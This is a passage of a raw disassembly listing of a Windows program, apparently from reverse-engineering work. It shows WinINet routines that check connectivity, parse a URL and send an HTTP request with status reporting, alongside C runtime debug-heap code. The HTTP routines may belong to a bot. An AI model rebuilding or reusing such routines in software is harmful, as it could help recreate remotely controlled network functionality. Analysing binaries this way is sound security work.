		push	[ebp+arg_4]
		call	sub_40C86E
		pop	ecx
		push	eax
		lea	eax, [ebp+var_FC]
		push	eax
		lea	eax, [ebp+var_5C8]
		push	eax
		push	[ebp+var_654]
		push	[ebp+var_658]
		push	[ebp+var_65C]
		push	[ebp+var_2C8]
		lea	eax, [ebp+var_244]
		push	eax
		lea	eax, [ebp+var_1C4]
		push	eax
		mov	eax, [ebp+var_2DC]
		shr	eax, 0Ah
		xor	ecx, ecx
		push	ecx
		push	eax
		call	sub_4196B4
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_2E0]
		shr	eax, 0Ah
		xor	ecx, ecx
		push	ecx
		push	eax
		call	sub_4196B4
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41E1F9
		push	edx
		push	eax
		push	offset dword_44FCB8
		push	200h
		push	[ebp+arg_0]
		call	sub_421B90
		add	esp, 50h
		mov	eax, [ebp+arg_0]
		pop	edi
		pop	esi
		leave
		retn
sub_41E318	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E66D	proc near		; CODE XREF: sub_4021E5+2B6Cp
					; sub_4021E5+61B3p

var_8C		= dword	ptr -8Ch
var_88		= byte ptr -88h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	80h
		push	0
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_421410
		add	esp, 0Ch
		cmp	dword_4E17E8, 0
		jnz	short loc_41E6F5
		push	0
		push	80h
		lea	eax, [ebp+var_80]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		call	dword_4E15C4	; InternetGetConnectedStateExA
		test	eax, eax
		jnz	short loc_41E6BE
		push	offset dword_44FD94
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx


loc_41E6BE:				; CODE XREF: sub_41E66D+3Fj
		mov	eax, [ebp+var_8C]
		and	eax, 1
		test	eax, eax
		jz	short loc_41E6E0
		push	offset dword_44FDA4
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	short loc_41E6F3
; ---------------------------------------------------------------------------


loc_41E6E0:				; CODE XREF: sub_41E66D+5Cj
		push	offset off_44FDAC
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx


loc_41E6F3:				; CODE XREF: sub_41E66D+71j
		jmp	short loc_41E718
; ---------------------------------------------------------------------------


loc_41E6F5:				; CODE XREF: sub_41E66D+23j
		push	offset off_44FDB0
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		push	offset off_44FDB4
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx


loc_41E718:				; CODE XREF: sub_41E66D:loc_41E6F3j
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40C86E
		pop	ecx
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		lea	eax, [ebp+var_88]
		push	eax
		push	offset dword_44FDB8
		push	200h
		push	[ebp+arg_0]
		call	sub_421B90
		add	esp, 1Ch
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_41E66D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E74A	proc near		; CODE XREF: sub_41E1F9:loc_41E1FFp
					; sub_41E1F9+1Cp
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		rdtsc
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41E74A	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		lea	eax, [ebp-0Ch]
		push	eax
		mov	ecx, [ebp+8]
		push	ecx
		call	sub_43D4C2
; ---------------------------------------------------------------------------
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_41E783
		xor	eax, eax
		jmp	loc_41E8B2
; ---------------------------------------------------------------------------


loc_41E783:				; CODE XREF: .XComp0:0041E77Aj
		mov	edx, [ebp-4]
		push	edx
		call	sub_41EDA0
		add	esp, 4
		mov	[ebp-10h], eax
		cmp	dword ptr [ebp-10h], 0
		jnz	short loc_41E79F
		xor	eax, eax
		jmp	loc_41E8B2
; ---------------------------------------------------------------------------


loc_41E79F:				; CODE XREF: .XComp0:0041E796j
		mov	eax, [ebp-10h]
		push	eax
		mov	ecx, [ebp-4]
		push	ecx
		mov	edx, [ebp-0Ch]
		push	edx
		mov	eax, [ebp+8]
		push	eax
		call	sub_43D4BC
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41E7CB
		mov	ecx, [ebp-10h]
		push	ecx
		call	sub_41F930
		add	esp, 4
		xor	eax, eax
		jmp	loc_41E8B2
; ---------------------------------------------------------------------------


loc_41E7CB:				; CODE XREF: .XComp0:0041E7B6j
		lea	edx, [ebp-14h]
		push	edx
		lea	eax, [ebp-8]
		push	eax
		push	offset dword_44FDFC
		mov	ecx, [ebp-10h]
		push	ecx
		call	sub_43D4B6
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	loc_41E8A4
		mov	edx, [ebp-8]
		mov	eax, [edx+0Ch]
		shr	eax, 10h
		and	eax, 0FFFFh
		cmp	eax, 0A28h
		jnz	loc_41E8A4
		mov	ecx, [ebp-8]
		mov	edx, [ecx+0Ch]
		and	edx, 0FFFFh
		and	edx, 0FFFFh
		mov	[ebp-18h], edx
		cmp	dword ptr [ebp-18h], 0A7Dh
		jg	short loc_41E83D
		cmp	dword ptr [ebp-18h], 0A7Dh
		jz	short loc_41E881
		cmp	dword ptr [ebp-18h], 884h
		jz	short loc_41E848
		cmp	dword ptr [ebp-18h], 9C9h
		jz	short loc_41E86E
		jmp	short loc_41E894
; ---------------------------------------------------------------------------


loc_41E83D:				; CODE XREF: .XComp0:0041E81Ej
		cmp	dword ptr [ebp-18h], 0B4Ch
		jz	short loc_41E85B
		jmp	short loc_41E894
; ---------------------------------------------------------------------------


loc_41E848:				; CODE XREF: .XComp0:0041E830j
		mov	eax, [ebp-10h]
		push	eax
		call	sub_41F930
		add	esp, 4
		mov	eax, 1
		jmp	short loc_41E8B2
; ---------------------------------------------------------------------------


loc_41E85B:				; CODE XREF: .XComp0:0041E844j
		mov	ecx, [ebp-10h]
		push	ecx
		call	sub_41F930
		add	esp, 4
		mov	eax, 2
		jmp	short loc_41E8B2
; ---------------------------------------------------------------------------


loc_41E86E:				; CODE XREF: .XComp0:0041E839j
		mov	edx, [ebp-10h]
		push	edx
		call	sub_41F930
		add	esp, 4
		mov	eax, 3
		jmp	short loc_41E8B2
; ---------------------------------------------------------------------------


loc_41E881:				; CODE XREF: .XComp0:0041E827j
		mov	eax, [ebp-10h]
		push	eax
		call	sub_41F930
		add	esp, 4
		mov	eax, 4
		jmp	short loc_41E8B2
; ---------------------------------------------------------------------------


loc_41E894:				; CODE XREF: .XComp0:0041E83Bj
					; .XComp0:0041E846j
		mov	ecx, [ebp-10h]
		push	ecx
		call	sub_41F930
		add	esp, 4
		xor	eax, eax
		jmp	short loc_41E8B2
; ---------------------------------------------------------------------------


loc_41E8A4:				; CODE XREF: .XComp0:0041E7E3j
					; .XComp0:0041E7FCj
		mov	edx, [ebp-10h]
		push	edx
		call	sub_41F930
		add	esp, 4
		xor	eax, eax


loc_41E8B2:				; CODE XREF: .XComp0:0041E77Ej
					; .XComp0:0041E79Aj ...
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E8B6	proc near		; DATA XREF: sub_4021E5+51D8o

var_664		= dword	ptr -664h
var_660		= byte ptr -660h
var_460		= dword	ptr -460h
var_45C		= byte ptr -45Ch
var_35C		= byte ptr -35Ch
var_2DC		= dword	ptr -2DCh
var_2D8		= dword	ptr -2D8h
var_2D4		= byte ptr -2D4h
var_254		= dword	ptr -254h
var_244		= dword	ptr -244h
var_240		= dword	ptr -240h
var_23C		= word ptr -23Ch
var_238		= dword	ptr -238h
var_234		= dword	ptr -234h
var_230		= dword	ptr -230h
var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_218		= dword	ptr -218h
var_214		= byte ptr -214h
var_194		= byte ptr -194h
var_114		= byte ptr -114h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= byte ptr -84h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 664h
		push	esi
		push	edi
		and	[ebp+var_460], 0
		and	[ebp+var_2D8], 0
		mov	[ebp+var_2DC], offset dword_44FE00
		mov	esi, [ebp+arg_0]
		push	65h
		pop	ecx
		lea	edi, [ebp+var_218]
		rep movsd
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax+190h], 1
		push	80h
		push	0
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_421410
		add	esp, 0Ch
		push	80h
		push	0
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_421410
		add	esp, 0Ch
		push	80h
		push	0
		lea	eax, [ebp+var_84]
		push	eax
		call	sub_421410
		add	esp, 0Ch
		push	100h
		push	0
		lea	eax, [ebp+var_45C]
		push	eax
		call	sub_421410
		add	esp, 0Ch
		push	3Ch
		push	0
		lea	eax, [ebp+var_254]
		push	eax
		call	sub_421410
		add	esp, 0Ch
		mov	[ebp+var_254], 3Ch
		mov	[ebp+var_240], 1
		mov	[ebp+var_234], 1
		mov	[ebp+var_22C], 1
		mov	[ebp+var_224], 1


loc_41E997:				; CODE XREF: sub_41E8B6+2A6j
		lea	eax, [ebp+var_254]
		push	eax
		push	0
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41EBD0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_214]
		push	eax
		call	dword_4E15FC	; InternetCrackUrlA
		test	eax, eax
		jnz	short loc_41E9D7
		push	offset dword_44FE04
		lea	eax, [ebp+var_660]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	loc_41EB62
; ---------------------------------------------------------------------------


loc_41E9D7:				; CODE XREF: sub_41E8B6+107j
		cmp	[ebp+var_240], 0
		jbe	short loc_41E9FB
		push	[ebp+var_240]
		push	[ebp+var_244]
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_421470
		add	esp, 0Ch


loc_41E9FB:				; CODE XREF: sub_41E8B6+128j
		movzx	eax, [ebp+var_23C]
		mov	[ebp+var_664], eax
		cmp	[ebp+var_234], 0
		jbe	short loc_41EA2C
		push	[ebp+var_234]
		push	[ebp+var_238]
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_421470
		add	esp, 0Ch


loc_41EA2C:				; CODE XREF: sub_41E8B6+159j
		cmp	[ebp+var_22C], 0
		jbe	short loc_41EA50
		push	[ebp+var_22C]
		push	[ebp+var_230]
		lea	eax, [ebp+var_84]
		push	eax
		call	sub_421470
		add	esp, 0Ch


loc_41EA50:				; CODE XREF: sub_41E8B6+17Dj
		cmp	[ebp+var_224], 0
		jbe	short loc_41EA74
		push	[ebp+var_224]
		push	[ebp+var_228]
		lea	eax, [ebp+var_45C]
		push	eax
		call	sub_421470
		add	esp, 0Ch


loc_41EA74:				; CODE XREF: sub_41E8B6+1A1j
		push	0
		push	0
		push	3
		lea	eax, [ebp+var_84]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+var_664]
		lea	eax, [ebp+var_2D4]
		push	eax
		push	dword_4E16B0
		call	dword_4E16D4	; InternetConnectA
		mov	[ebp+var_460], eax
		cmp	[ebp+var_460], 0
		jnz	short loc_41EAC8
		push	offset unk_44FE20
		lea	eax, [ebp+var_660]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	loc_41EB62
; ---------------------------------------------------------------------------


loc_41EAC8:				; CODE XREF: sub_41E8B6+1F8j
		push	0
		push	200h
		lea	eax, [ebp+var_2DC]
		push	eax
		lea	eax, [ebp+var_194]
		push	eax
		push	0
		lea	eax, [ebp+var_45C]
		push	eax
		push	0
		push	[ebp+var_460]
		call	dword_4E16C8	; HttpOpenRequestA
		mov	[ebp+var_2D8], eax
		cmp	[ebp+var_2D8], 0
		jnz	short loc_41EB18
		push	offset unk_44FE4C
		lea	eax, [ebp+var_660]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	short loc_41EB62
; ---------------------------------------------------------------------------


loc_41EB18:				; CODE XREF: sub_41E8B6+24Bj
		push	0
		push	0
		push	0
		push	0
		push	[ebp+var_2D8]
		call	dword_4E1674	; HttpSendRequestA
		test	eax, eax
		jz	short loc_41EB45
		push	offset dword_44FE7C
		lea	eax, [ebp+var_660]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	short loc_41EB58
; ---------------------------------------------------------------------------


loc_41EB45:				; CODE XREF: sub_41E8B6+278j
		push	offset unk_44FE98
		lea	eax, [ebp+var_660]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx


loc_41EB58:				; CODE XREF: sub_41E8B6+28Dj
		xor	eax, eax
		test	eax, eax
		jnz	loc_41E997


loc_41EB62:				; CODE XREF: sub_41E8B6+11Cj
					; sub_41E8B6+20Dj ...
		cmp	[ebp+var_90], 0
		jnz	short loc_41EB8F
		push	0
		push	[ebp+var_8C]
		lea	eax, [ebp+var_660]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		push	[ebp+var_218]
		call	sub_40B00F
		add	esp, 14h


loc_41EB8F:				; CODE XREF: sub_41E8B6+2B3j
		lea	eax, [ebp+var_660]
		push	eax
		call	sub_4173DC
		pop	ecx
		push	[ebp+var_460]
		call	dword_4E1734	; InternetCloseHandle
		push	[ebp+var_2D8]
		call	dword_4E1734	; InternetCloseHandle
		push	[ebp+var_94]
		call	sub_40D802
		pop	ecx
		push	0
		call	near ptr 2830000h
		nop
		pop	edi
		pop	esi
		leave
		retn	4
sub_41E8B6	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41EBD0	proc near		; CODE XREF: sub_401000+4Ep
					; .XComp0:00401287p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_41EBF0


loc_41EBDC:				; CODE XREF: sub_41EBD0+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41EC23
		test	ecx, 3
		jnz	short loc_41EBDC
		add	eax, 0


loc_41EBF0:				; CODE XREF: sub_41EBD0+Aj
					; sub_41EBD0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41EBF0
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41EC41
		test	ah, ah
		jz	short loc_41EC37
		test	eax, 0FF0000h
		jz	short loc_41EC2D
		test	eax, 0FF000000h
		jz	short loc_41EC23
		jmp	short loc_41EBF0
; ---------------------------------------------------------------------------


loc_41EC23:				; CODE XREF: sub_41EBD0+11j
					; sub_41EBD0+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41EC2D:				; CODE XREF: sub_41EBD0+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41EC37:				; CODE XREF: sub_41EBD0+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41EC41:				; CODE XREF: sub_41EBD0+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_41EBD0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EC50	proc near		; CODE XREF: .XComp0:00401184p
					; sub_4021E5+54EAp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], 0FFFFFFFFh


loc_41EC5E:				; CODE XREF: sub_41EC50+36j
		cmp	[ebp+arg_0], 0
		jnz	short loc_41EC82
		push	offset dword_43E494
		push	0
		push	3Ah
		push	offset dword_43E488
		push	2
		call	sub_424D20
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41EC82
		int	3		; Trap to Debugger


loc_41EC82:				; CODE XREF: sub_41EC50+12j
					; sub_41EC50+2Fj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41EC5E
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+0Ch]
		and	edx, 40h
		test	edx, edx
		jz	short loc_41ECA1
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+0Ch], 0
		jmp	short loc_41ECC8
; ---------------------------------------------------------------------------


loc_41ECA1:				; CODE XREF: sub_41EC50+43j
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_424B30
		add	esp, 4
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_41ECE0
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_424BA0
		add	esp, 4


loc_41ECC8:				; CODE XREF: sub_41EC50+4Fj
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41EC50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ECE0	proc near		; CODE XREF: sub_41EC50+61p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax


loc_41ECF6:				; CODE XREF: sub_41ECE0+3Ej
		cmp	[ebp+arg_0], 0
		jnz	short loc_41ED1A
		push	offset dword_43E4A4
		push	0
		push	77h
		push	offset dword_43E488
		push	2
		call	sub_424D20
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41ED1A
		int	3		; Trap to Debugger


loc_41ED1A:				; CODE XREF: sub_41ECE0+1Aj
					; sub_41ECE0+37j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41ECF6
		mov	edx, [ebp+var_8]
		mov	eax, [edx+0Ch]
		and	eax, 83h
		test	eax, eax
		jz	short loc_41ED8A
		mov	ecx, [ebp+var_8]
		push	ecx
		call	sub_425630
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	edx, [ebp+var_8]
		push	edx
		call	sub_4254F0
		add	esp, 4
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+10h]
		push	ecx
		call	sub_4253C0
		add	esp, 4
		test	eax, eax
		jge	short loc_41ED66
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41ED8A
; ---------------------------------------------------------------------------


loc_41ED66:				; CODE XREF: sub_41ECE0+7Bj
		mov	edx, [ebp+var_8]
		cmp	dword ptr [edx+1Ch], 0
		jz	short loc_41ED8A
		push	2
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+1Ch]
		push	ecx
		call	sub_41F970
		add	esp, 8
		mov	edx, [ebp+var_8]
		mov	dword ptr [edx+1Ch], 0


loc_41ED8A:				; CODE XREF: sub_41ECE0+4Dj
					; sub_41ECE0+84j ...
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax+0Ch], 0
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41ECE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EDA0	proc near		; CODE XREF: .XComp0:004010F7p
					; sub_40C6CF+71p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	0
		push	0
		push	1
		mov	eax, dword_4E9258
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41EE20
		add	esp, 14h
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_41EDA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EDD0	proc near		; CODE XREF: sub_41F230+20p
					; sub_41F350+26p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, dword_4E9258
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41EE20
		add	esp, 14h
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_41EDD0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EE00	proc near		; CODE XREF: sub_423B90+Ap

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	0
		push	0
		push	1
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41EE20
		add	esp, 14h
		pop	ebp
		retn
sub_41EE00	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EE20	proc near		; CODE XREF: sub_41EDA0+14p
					; sub_41EDD0+1Ap ...

var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

; FUNCTION CHUNK AT 0041EE88 SIZE 00000038 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43E4D8
		push	offset sub_425A74
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi


loc_41EE43:				; CODE XREF: sub_41EE20:loc_41EEADj
		push	9
		call	sub_425990
		add	esp, 4
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41EEE0
		add	esp, 10h
		mov	[ebp+var_1C], eax
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_41EE7D
		jmp	short loc_41EE88
sub_41EE20	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EE7D	proc near		; CODE XREF: sub_41EE20+56p
					; DATA XREF: .XComp0:0043E4E0o
		push	9
		call	sub_425A30
		add	esp, 4
		retn
sub_41EE7D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41EE20


loc_41EE88:				; CODE XREF: sub_41EE20+5Bj
		cmp	[ebp+var_1C], 0
		jnz	short loc_41EE94
		cmp	[ebp+arg_4], 0
		jnz	short loc_41EE99


loc_41EE94:				; CODE XREF: sub_41EE20+6Cj
		mov	eax, [ebp+var_1C]
		jmp	short loc_41EEAF
; ---------------------------------------------------------------------------


loc_41EE99:				; CODE XREF: sub_41EE20+72j
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_425880
		add	esp, 4
		test	eax, eax
		jnz	short loc_41EEAD
		xor	eax, eax
		jmp	short loc_41EEAF
; ---------------------------------------------------------------------------


loc_41EEAD:				; CODE XREF: sub_41EE20+87j
		jmp	short loc_41EE43
; ---------------------------------------------------------------------------


loc_41EEAF:				; CODE XREF: sub_41EE20+77j
					; sub_41EE20+8Bj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_41EE20
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0
		push	0
		push	1
		mov	eax, [ebp+8]
		push	eax
		call	sub_41EEE0
		add	esp, 10h
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EEE0	proc near		; CODE XREF: sub_41EE20+44p
					; .XComp0:0041EECDp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_C], 0
		mov	eax, dword_44FEE0
		and	eax, 4
		test	eax, eax
		jz	short loc_41EF2C


loc_41EEFC:				; CODE XREF: sub_41EEE0+4Aj
		call	sub_420130
		test	eax, eax
		jnz	short loc_41EF26
		push	offset a_crtcheckmemor ; "_CrtCheckMemory()"
		push	0
		push	14Ch
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_424D20
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41EF26
		int	3		; Trap to Debugger


loc_41EF26:				; CODE XREF: sub_41EEE0+23j
					; sub_41EEE0+43j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41EEFC


loc_41EF2C:				; CODE XREF: sub_41EEE0+1Aj
		mov	edx, dword_44FEE4
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_8]
		cmp	eax, dword_44FEE8
		jnz	short loc_41EF41
		int	3		; Trap to Debugger


loc_41EF41:				; CODE XREF: sub_41EEE0+5Ej
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+var_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		push	0
		push	1
		call	off_4502B0
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41EFC4
		cmp	[ebp+arg_8], 0
		jz	short loc_41EF97


loc_41EF6C:				; CODE XREF: sub_41EEE0+B3j
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		push	offset aClientHookAllo ; "Client hook allocation failure at file "...
		push	0
		push	0
		push	0
		push	0
		call	sub_424D20
		add	esp, 1Ch
		cmp	eax, 1
		jnz	short loc_41EF8F
		int	3		; Trap to Debugger


loc_41EF8F:				; CODE XREF: sub_41EEE0+ACj
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41EF6C
		jmp	short loc_41EFBD
; ---------------------------------------------------------------------------


loc_41EF97:				; CODE XREF: sub_41EEE0+8Aj
					; sub_41EEE0+DBj
		push	offset aClientHookAl_0 ; "Client hook allocation failure.\n"
		push	offset aS_26	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	sub_424D20
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41EFB7
		int	3		; Trap to Debugger


loc_41EFB7:				; CODE XREF: sub_41EEE0+D4j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41EF97


loc_41EFBD:				; CODE XREF: sub_41EEE0+B5j
		xor	eax, eax
		jmp	loc_41F1EC
; ---------------------------------------------------------------------------


loc_41EFC4:				; CODE XREF: sub_41EEE0+84j
		mov	ecx, [ebp+arg_4]
		and	ecx, 0FFFFh
		cmp	ecx, 2
		jz	short loc_41EFE6
		mov	edx, dword_44FEE0
		and	edx, 1
		test	edx, edx
		jnz	short loc_41EFE6
		mov	[ebp+var_C], 1


loc_41EFE6:				; CODE XREF: sub_41EEE0+F0j
					; sub_41EEE0+FDj
		cmp	[ebp+arg_0], 0FFFFFFE0h
		ja	short loc_41EFF7
		mov	eax, [ebp+arg_0]
		add	eax, 24h
		cmp	eax, 0FFFFFFE0h
		jbe	short loc_41F023


loc_41EFF7:				; CODE XREF: sub_41EEE0+10Aj
					; sub_41EEE0+13Aj
		mov	ecx, [ebp+arg_0]
		push	ecx
		push	offset aInvalidAllocat ; "Invalid allocation size: %u bytes.\n"
		push	0
		push	0
		push	0
		push	1
		call	sub_424D20
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41F016
		int	3		; Trap to Debugger


loc_41F016:				; CODE XREF: sub_41EEE0+133j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41EFF7
		xor	eax, eax
		jmp	loc_41F1EC
; ---------------------------------------------------------------------------


loc_41F023:				; CODE XREF: sub_41EEE0+115j
		mov	eax, [ebp+arg_4]
		and	eax, 0FFFFh
		cmp	eax, 4
		jz	short loc_41F070
		cmp	[ebp+arg_4], 1
		jz	short loc_41F070
		mov	ecx, [ebp+arg_4]
		and	ecx, 0FFFFh
		cmp	ecx, 2
		jz	short loc_41F070
		cmp	[ebp+arg_4], 3
		jz	short loc_41F070


loc_41F04A:				; CODE XREF: sub_41EEE0+18Ej
		push	offset aErrorMemoryAll ; "Error: memory	allocation: bad	memory bl"...
		push	offset aS_26	; "%s"
		push	0
		push	0
		push	0
		push	1
